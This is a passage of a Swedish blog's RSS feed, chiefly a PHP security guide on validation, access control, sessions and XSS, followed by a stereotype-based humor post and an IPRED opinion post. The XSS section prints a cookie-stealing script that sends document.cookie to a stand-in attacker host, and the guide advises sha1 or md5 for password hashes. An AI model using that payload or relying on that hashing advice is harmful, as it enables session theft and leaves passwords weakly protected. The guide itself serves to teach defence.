<p>Du skall alltid när du validerar användardata neka allting som inte stämmer överrens med det du vill ha. Gå aldrig den vägen att du godkänner allting utom det du vet är skadligt, detta är en känd källa av säkerhetshål. Ibland kommer skadliga användare runt detta genom att till exempel, genom att inkludera skadlig data genom att förvränga det med <em>null</em> tecken. Detta skulle godkännas i din kontroll, men skulle ha en skadlig effekt.</p>
<p>Du skall vara så restriktiv du bara kan när du validerar data. Om några tecken inte behöver inkluderas, så skall du kapa bort dom eller neka det helt och hållet.</p>
<h2>Åtkomstkontroll</h2>
<p>En annan typ av säkerhetshål, som inte enbart är för PHP, utan är viktig hur som helst, är åtkomstkontroller. Denna brist kan bokstavligen röra om det i skallen på en, speciellt om du har vissa sektioner där din applikation måste vara begränsad till vissa användare, så som att administrations sidan tillåts att göra vissa ändringar, eller visa känslig information.</p>
<p>Du skall kontrollera användarens rättigheter vid varje laddning av sidan i din PHP applikation. Om du enbart kontrollerar användarens uppgifter vid index sidan, en elak användare kan skriva in URLen till en &#8221;djupare&#8221; sida, vilket skulle innebära att han kommer förbi denna kontroll.</p>
<p>Den är också bra att man lägger till ett lager av säkerhet till, till exempel, genom att enbart tillåta användarens tillgång genom dennes IP och användarnamn, om du har turen att användarna har ett förutsägbart eller statiskt tilldelat IP. Genom att placera dina filer i en katalog som är skyddad av Apaches .htaccess är också en bra början.</p>
<p>Man skall också placera konfigurations filer utanför html katalogen. Konfigurationsfilerna innehåller oftast uppgifter för databas anslutning och annan information som kan användas av en elak användare för att penetrera eller vanställa din sida, tillåt aldrig att dessa filer att bli visade för någon användare. Använd PHPs <em>include</em> funktion för att inkludera filer från en katalog som man inte kommer åt från webben, tex en katalog &#8221;<em>_includes</em>&#8221;, där det finns en <em>.htaccess</em> som innehåller <em>deny from all</em>. Detta är redundant, så alla kataloger i denna katalog skyddas också.</p>
<p>För mina PHP applikationer, så föredrar jag en katalog struktur som visas nedan. Alla funktioner, classer &amp; konfigurations filer är lagrade i <em>_includes</em>. Spara alltid filer som skall inkluderas med .php filändelsen, så även om skyddet faller så kommer webbservern att interpretera PHP koden, och inte visa något för användaren. www &amp; admin är kataloger som bara kan nås via en URL, admin katalogen skyddas även av en <em>.htaccess</em>, och tillåter tillträde enbart om användarnamn och lösenord finns sparade i <em>.htpasswd</em> i roten.<br />
<code><br />
/home<br />
&nbsp; /httpd<br />
&nbsp; &nbsp; /www.example.com<br />
&nbsp; &nbsp; .htpasswd<br />
&nbsp; &nbsp; /includes<br />
&nbsp; &nbsp; &nbsp; cart.class.php<br />
&nbsp; &nbsp; &nbsp; config.php<br />
&nbsp; &nbsp; /logs<br />
&nbsp; &nbsp; &nbsp; access_log<br />
&nbsp; &nbsp; &nbsp; error_log<br />
&nbsp; &nbsp; /www<br />
&nbsp; &nbsp; &nbsp; index.php<br />
&nbsp; &nbsp; &nbsp; /admin<br />
&nbsp; &nbsp; &nbsp; &nbsp; .htaccess<br />
&nbsp; &nbsp; &nbsp; &nbsp; index.php<br />
</code><br />
Du skall ställa in så att Apache indexerar <em>index.php</em> och visar den som standard, detta är oftast redan gjort om man har PHP installerat.</p>
<p>Gör aldrig, aldrig en backup av en PHP fil genom att genom att lägga till/byta ut filändelsen mot .bak eller någon annan filändelse. Beroende på din webbserver du använder (Apache har tacksamt skydd mot detta), så kommer PHP koden i filen inte att interpreteras, och det kan hända att den skriver ut koden i klartext, om denna fil skulle innehålla lösenord eller annan känslig information så skulle detta visas för användaren, det kan till och med synas i sökresultaten hos en sökmotor. Döp istället om filen till <em>.bak.php</em> istället. Den bästa lösningen är använda ett revisions system som tex. CVS eller SVN, båda kan vara komplicerade att lära sig, men tiden du spenderar på det kommer att betala sig väl på många sätt. Systemet sparar vartenda version av varje fil i ditt projekt, vilket kan vara ovärdeligt när en ändring skapar problem senare.</p>
<h2>Session ID Skydd</h2>
<p>Session ID kapning kan vara ett problem med PHP webbsidor. PHP spårning komponent använder ett unikt ID för varje användares session, men om detta ID blir känt för en annan användare, så kan den personen kapa sessionen och därmed se informationen som skall vara skyddad för denne. Session ID kapning kan inte bli helt säker, men om du känner till riskerna så kan du förebygga det väl.</p>
<p>Exempelvis, även efter att en användare har blivit validerad och tilldelat en sessions ID, så skall du alltid validera denne varje gång den gör något känsligt, så som att denne byter användarnamn, lösenord mm. Tillåt aldrig en sessions validerad användare att ändra lösenord utan att låta dom fylla i det gamla lösenordet också. Du skall också försöka låta bli att visa särskilt känslig information, som tex. kreditkortsnummer, till en användare som bara är validerad genom en session.</p>
<p>En användare som skapar en ny session genom att logga skall alltid få ett nytt sessions ID genom att använda <em>session_regenerate_id</em> funktionen. En kapad användare kommer att försöka använda det gamla sessions ID innan man loggade in.</p>
<p>Om din webbsida hanterar kritisk information som tex kreditkortsnummer, använd alltid SSL anslutning. Detta kommer att hjälpa till att förebygga risken för kapning, eftersom man inte kan <em>sniffa</em> trafiken.</p>
<p>Om din webbsida körs på en delat Webserver, var uppmärksam på att vilken sessions variablar som helst kan bli visade för vilken annan användare på samma server. För att mildra detta så kan man spara all känslig information i databasen, istället för i sessionen. Om du måste spara ett lösenord i en session (och jag påpekar att detta bör man inte göra!) så spara det inte i klartext, använd istället <em>sha1()</em> (PHP 4.3+) eller <em>md5()</em> för att spara en hash av lösenordet istället.</p>
<pre name="code" class="php">if ($_SESSION['password'] == $userpass) {
// gör känsliga saker här
}</pre>
<p>Koden ovanför är inte säker, eftersom lösenordet är sparat i ren text i variabeln. Istället använd kod mer som denna.</p>
<pre name="code" class="php">if ($_SESSION['sha1password'] == sha1($userpass)) {
// gör känsliga saker här
}</pre>
<div>SHA-1 algoritmen är inte utan dess brister, och den snabba utvecklingen i dator krat gör det möjligt att generera vad som är känt att kallas kollisioner (olika strängar med samma SHA-1 summa). Men ovanstående teknik är fortfarande ett överlägset sätt än att spara lösenord i klartext. Använd MD5 om du måste, eftersom det är bättre än att använda klartext, men kom ihåg att senaste tidens utveckling gör det möjligt att skapa MD5 kollisioner på mindre än en timme med en standard dator. Idealet, vore att använda en funktion som implementerar SHA-256, vilket man kan använda med <em>hash()</em>.</div>
<h2>Cross Site Scripting (XSS) Brister</h2>
<p>Cross site scripting, eller XSS, brister är ett samlingsnamn där en användare har fått möjligheten att bädda in script kommandon, vanligen JavaScript, i data som blir visade och därmed körs dom av en annan användare.</p>
<p>Till exempel, din applikation har ett forum där personer kan posta inlägg som läses av andra användare, en elak användare kan bädda in en &lt;script&gt; tagg, som visas nedan, vilket skulle innebära att sidan laddas om till en annan sida som är kontrollerad av dom, och skickar med cookie informationen och sessions information som $GET variablar till deras sida, och skickar sedan tillbaka dig som om ingenting har hänt. En elak användare kan därmed hämta alla andra användares cookies och session information, och använda denna inforamtion för en sessions kapning (se ovan) eller en annan attack mot sidan.</p>
<pre name="code" class="js">&lt;script&gt;
document.location =
	'http://www.badguys.com/cgi-bin/cookie.php?' +
	document.cookie;
&lt;/script&gt;</pre>
<p>För att motverka denna formen av attack så måste du vara försiktig när du visar information som användare har publicerat. Den enklaste vägen att skydda sig mot detta är att escape:a alla tecken som används i HTML syntax (särskilt &amp;lt; och &amp;gt;) för att bli HTML kodade (&amp;amp;lt; och &amp;amp;gt;), så att den inskickade datan helt enkelt publiceras som ren text. Använd PHPs htmlspecialchars funktionen för detta bruk.<br />
Om din applikation kräver att användarna skall kunna skicka HTML innehåll och det skall behandlas så, så bör du istället filtrera bort potientiella skadliga taggar såsom &lt;script&gt;. Detta är bäst gjort när innehållet först är inskickat, och kommer att kräva lite reguljära uttryck.</p>
<p><a href="http://www.cgisecurity.com/xss-faq.html">Cross Site Scripting FAQ</a> på <a href="http://www.cgisecurity.com/">cgisecurity.com</a> ger mycket mer information och bakgrund till denna typ av brist och förklarar det mycket väl. Det är en läsning jag verkligen rekommenderar och hoppas ni förstår den. XSS brister kan vara svårt att se och det kan hända den bäste när man bygger en applikation.</p>
]]></content:encoded>
			<wfw:commentRss>http://txc.se/2009/04/php-sakerhet/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Jag säger bara en sak: Tack gode Gud för karlar.</title>
		<link>http://txc.se/2009/04/jag-sager-bara-en-sak-tack-gode-gud-for-karlar/</link>
		<comments>http://txc.se/2009/04/jag-sager-bara-en-sak-tack-gode-gud-for-karlar/#comments</comments>
		<pubDate>Sun, 19 Apr 2009 15:23:16 +0000</pubDate>
		<dc:creator>TXC</dc:creator>
				<category><![CDATA[Humor]]></category>
		<category><![CDATA[mansgris]]></category>

		<guid isPermaLink="false">http://www.txc.se/?p=33</guid>
		<description><![CDATA[Kvinnor är tråkiga, alltid ska dom städa, laga mat och ta hand om barnen. Inte kan dom sitta stilla en sekund. Nej, tacka vet jag vi karlar. Vi kan det här med avkoppling. Vi kommer hem från jobbet, kastar sig i soffan och rör inte ett finger förrän sporten på TV börjar. Kvinnor är trångsynta. [...]]]></description>
			<content:encoded><![CDATA[<p>Kvinnor är tråkiga, alltid ska dom städa, laga mat och ta hand om barnen. Inte kan dom sitta stilla en sekund.<br />
Nej, tacka vet jag vi karlar. Vi kan det här med avkoppling. Vi kommer hem från jobbet, kastar sig i soffan och rör inte ett finger förrän sporten på TV börjar.</p>
<p>Kvinnor är trångsynta. Dom bryr sig bara om bagateller, var man ska bo, lägenhet eller villa, hur många barn man ska ha.<br />
Tacka vet jag vi karlar, vi engagerar sig i de stora frågorna. Kommer Sverige med i fotbolls-VM? Vinner Edberg Stockholm Open?</p>
<p>Kvinnor är oförståndiga. Dom inser inte att man är sjuk när man har trettionio graders feber, nej, dom ska upp i alla fall och laga frukost och se till att barnen kommer till dagis och skola.<br />
Tacka vet jag vi karlar. Vi hostar en gång och ligger sedan däckade i sängen en vecka och blir ompysslade.</p>
<p>Kvinnor är oekonomiska. Dom kan inte handskas med pengar, dom sätter in dem på banken, köper kläder och mat till familjen eller nya gardiner.<br />
Tacka vet jag vi karlar. Vi tar pengarna och går ut och roar sig med grabbarna eller köper en radiostyrd bil.</p>
<p>Kvinnor inser inte sin begränsning. Först går dom ut och jobbar i åtta timmar, sen går dom hem och jobbar åtta timmar till. Och sen ska dom leka med barnen och hinna vara vackra och kanske sova en stund också.<br />
Tacka vet jag vi karlar. Vi vet vad vi kan och låter bli saker vi inte klarar av. Som att fälla ner toalettringen, plocka bort ALLA saker från bordet efter middagen, eller torka av det.</p>
<p>Vilken tur att ni kvinnor är så bra på att uppfostra våra söner till karlar!</p>
]]></content:encoded>
			<wfw:commentRss>http://txc.se/2009/04/jag-sager-bara-en-sak-tack-gode-gud-for-karlar/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>IPRED &amp; Samhället</title>
		<link>http://txc.se/2009/04/ipred-samhallet/</link>
		<comments>http://txc.se/2009/04/ipred-samhallet/#comments</comments>
		<pubDate>Sat, 18 Apr 2009 19:03:43 +0000</pubDate>
		<dc:creator>TXC</dc:creator>
				<category><![CDATA[Blogg]]></category>
		<category><![CDATA[Samhället]]></category>
		<category><![CDATA[IPRED]]></category>
		<category><![CDATA[Microsoft]]></category>
		<category><![CDATA[NTFS]]></category>
		<category><![CDATA[Proxy]]></category>
		<category><![CDATA[SSL]]></category>
		<category><![CDATA[VPN]]></category>

		<guid isPermaLink="false">http://www.txc.se/?p=30</guid>
		<description><![CDATA[Lite sent kanske att nämna detta, men eftersom det nu är mer än 2veckor sedan IPRED lagen skapades. Ett antal operatörer har gjort det flera förberedde sig på innan lagen verkställdes alltså att kringå lagen med Proxys &#38; VPN, vitsen här är att den host som kör processen inte hanterar loggar, alltså man kan inte [...]]]></description>
			<content:encoded><![CDATA[<p>Lite sent kanske att nämna detta, men eftersom det nu är mer än 2veckor sedan IPRED lagen skapades.</p>
<p>Ett antal operatörer har gjort det flera förberedde sig på innan lagen verkställdes alltså att kringå lagen med Proxys &amp; <abbr title="Virtual Private Network">VPN</abbr>, vitsen här är att den host som kör processen inte hanterar loggar, alltså man kan inte spåra personen. Nu har operatörerna (Bahnhof, AllTele &amp; Net@Once) börjat göra samma sak.</p>
<p>Daniel Östlund nämner detta i ett blogg-inlägg <a title="Nackdelen med Lagen om Elektronisk Kommunikation" href="http://daniel.rrnet.se/2009/04/nackdelen-med-lagen-om-elektronisk-kommunikation/">Nackdelen med Lagen om Elektronisk Kommunikation</a> där han och jag diskuterar ett hett ämne som ingen av dessa operatörer har tänkt på. Pedofilerna &amp; Barnpornografi.</p>
<p>Som förälder &amp; medborgare i ett land där signalspaning &amp; övervakning snart kommer att ske i var mans hem (<a title="FRA-lagen" href="http://sv.wikipedia.org/wiki/FRA-lagen">FRA-lagen</a>) så slår det mig så här i efterhand att varför har ingen tänkt på detta innan?</p>
<p>Brottslingar som har verkligen har något att dölja har kunnat göra detta innan. Ett SSL-certifikat på en webbhost tar inte många minuter att sätta upp, ett VPN tar knappt 1h &amp; en proxy tar mindre än 5minuter att sätta upp.</p>
<p>Den som verkligen har något att dölja kan göra det utan problem. Där operatörerna står och kliar sig i skallen och undrar vad gick fel. Dagens teknik är flera steg framför myndigheterna. Bara <abbr title="New Technology File System">NTFS</abbr> möjligheter för kryptering, har för mig att jag läst att Microsoft har erbjudit en belöning för den som knäcker krypteringen. Jag är inget stort fan av Microsoft men <abbr title="New Technology File System">NTFS</abbr> är det som dom verkligen har gjort rätt på.</p>
<p><strong>IPRED är en lag som har kommit för att Hollywood trycker på Sverige.</strong></p>
]]></content:encoded>
			<wfw:commentRss>http://txc.se/2009/04/ipred-samhallet/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
	</channel>
</rss>
